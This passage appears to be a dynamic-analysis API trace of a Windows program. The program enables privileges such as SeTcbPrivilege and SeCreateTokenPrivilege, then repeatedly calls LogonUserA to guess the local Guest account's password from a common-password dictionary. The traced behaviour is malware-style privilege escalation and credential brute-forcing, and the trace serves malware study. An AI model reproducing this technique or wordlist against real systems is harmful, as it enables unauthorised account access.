lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.563] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x940aab8 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Guest", cchWideChar=-1, lpMultiByteStr=0x940aab8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Guest", lpUsedDefaultChar=0x0) returned 6 [0055.563] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a808 [0055.563] NetApiBufferFree (Buffer=0x9412750) returned 0x0 [0055.564] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x1d, HighPart=0)) returned 1 [0055.564] GetCurrentProcess () returned 0xffffffff [0055.564] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.564] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.564] CloseHandle (hObject=0x3e4) returned 1 [0055.564] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x7, HighPart=0)) returned 1 [0055.565] GetCurrentProcess () returned 0xffffffff [0055.565] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.565] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.565] CloseHandle (hObject=0x3e4) returned 1 [0055.565] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x17, HighPart=0)) returned 1 [0055.565] GetCurrentProcess () returned 0xffffffff [0055.565] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.565] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.565] CloseHandle (hObject=0x3e4) returned 1 [0055.565] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x2, HighPart=0)) returned 1 [0055.565] GetCurrentProcess () returned 0xffffffff [0055.565] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.565] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.565] CloseHandle (hObject=0x3e4) returned 1 [0055.566] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x11, HighPart=0)) returned 1 [0055.566] GetCurrentProcess () returned 0xffffffff [0055.566] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.566] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.566] CloseHandle (hObject=0x3e4) returned 1 [0055.566] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x12, HighPart=0)) returned 1 [0055.566] GetCurrentProcess () returned 0xffffffff [0055.566] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.566] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.566] CloseHandle (hObject=0x3e4) returned 1 [0055.566] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x5, HighPart=0)) returned 1 [0055.567] GetCurrentProcess () returned 0xffffffff [0055.567] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.567] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.567] CloseHandle (hObject=0x3e4) returned 1 [0055.567] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x3, HighPart=0)) returned 1 [0055.567] GetCurrentProcess () returned 0xffffffff [0055.567] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.567] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.567] CloseHandle (hObject=0x3e4) returned 1 [0055.567] lstrcmpiA (lpString1="aDU0VK IWA5kLS", lpString2="Guest") returned -1 [0055.567] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="Guest", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.578] lstrlenA (lpString="Guest") returned 5 [0055.578] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x940ab48 [0055.578] lstrcpyA (in: lpString1=0x940ab48, lpString2="Guest" | out: lpString1="Guest") returned="Guest" [0055.578] lstrlenA (lpString="Guest") returned 5 [0055.578] LCMapStringA (in: Locale=0x400, dwMapFlags=0x100, lpSrcStr="Guest", cchSrc=5, lpDestStr=0x940ab48, cchDest=5 | out: lpDestStr="guest") returned 5 [0055.578] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="guest", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.578] LocalFree (hMem=0x940ab48) returned 0x0 [0055.578] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="samantha", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.579] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="michelle", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.579] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="david", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.579] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="eminem", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.579] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="scooter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.580] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="asdfasdf", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.580] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sammy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.580] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="baby", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.581] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="diamond", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.581] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="maxwell", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.581] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="55555", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.581] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="justin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.582] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="james", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.582] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chicken", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.582] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="danielle", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.583] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iloveyou2", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.583] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fuckoff", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.583] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="prince", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.583] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="junior", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.584] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="rainbow", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.584] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="112233", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.584] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fuckyou1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.584] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.585] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nintendo", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.585] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="peanut", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.585] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="none", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.586] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="church", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.586] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bubbles", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.586] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="robert", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.586] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="222222", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.587] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="destiny", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.587] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="loving", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.587] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="gfhjkm", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.587] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mylove", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.588] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jasper", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.588] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hallo", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.588] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123321", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.589] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cocacola", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.589] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="helpme", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.589] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nicole", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.589] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="guitar", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.590] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="billgates", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.590] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="looking", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.590] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="scooby", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.591] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="joseph", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.591] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="genesis", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.591] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="forum", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.591] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="emmanuel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.592] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cassie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.592] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="victory", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.592] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="passw0rd", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.592] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="foobar", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.593] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ilovegod", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.593] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nathan", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.593] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blabla", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.594] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="digital", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.594] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="peaches", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.594] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="football1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.594] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="11111111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.595] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="power", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.595] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="thunder", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.595] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="gateway", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.595] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iloveyou!", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.596] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="football", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.596] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tigger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.596] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="corvette", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.597] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="angel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.597] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="killer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.597] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="creative", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.597] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123456789", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.598] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="google", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.598] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="zxcvbnm", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.598] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="startrek", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.598] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ashley", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.599] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cheese", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.599] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="a", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.599] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sunshine", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.599] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="christ", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.600] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="000000", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.600] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="soccer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.600] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="qwerty1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.601] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="friend", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.601] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="summer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.601] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1234567", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.601] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="merlin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.602] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="phpbb", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.602] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="12345678", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.602] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jordan", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.603] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="saved", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.603] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dexter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.603] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="viper", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.603] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="winner", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.604] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sparky", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.604] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="windows", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.604] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123abc", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.605] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="lucky", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.605] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="anthony", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.605] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jesus", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.605] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ghbdtn", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.606] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="admin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.606] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hotdog", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.606] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="baseball", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.606] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="password1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.607] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, 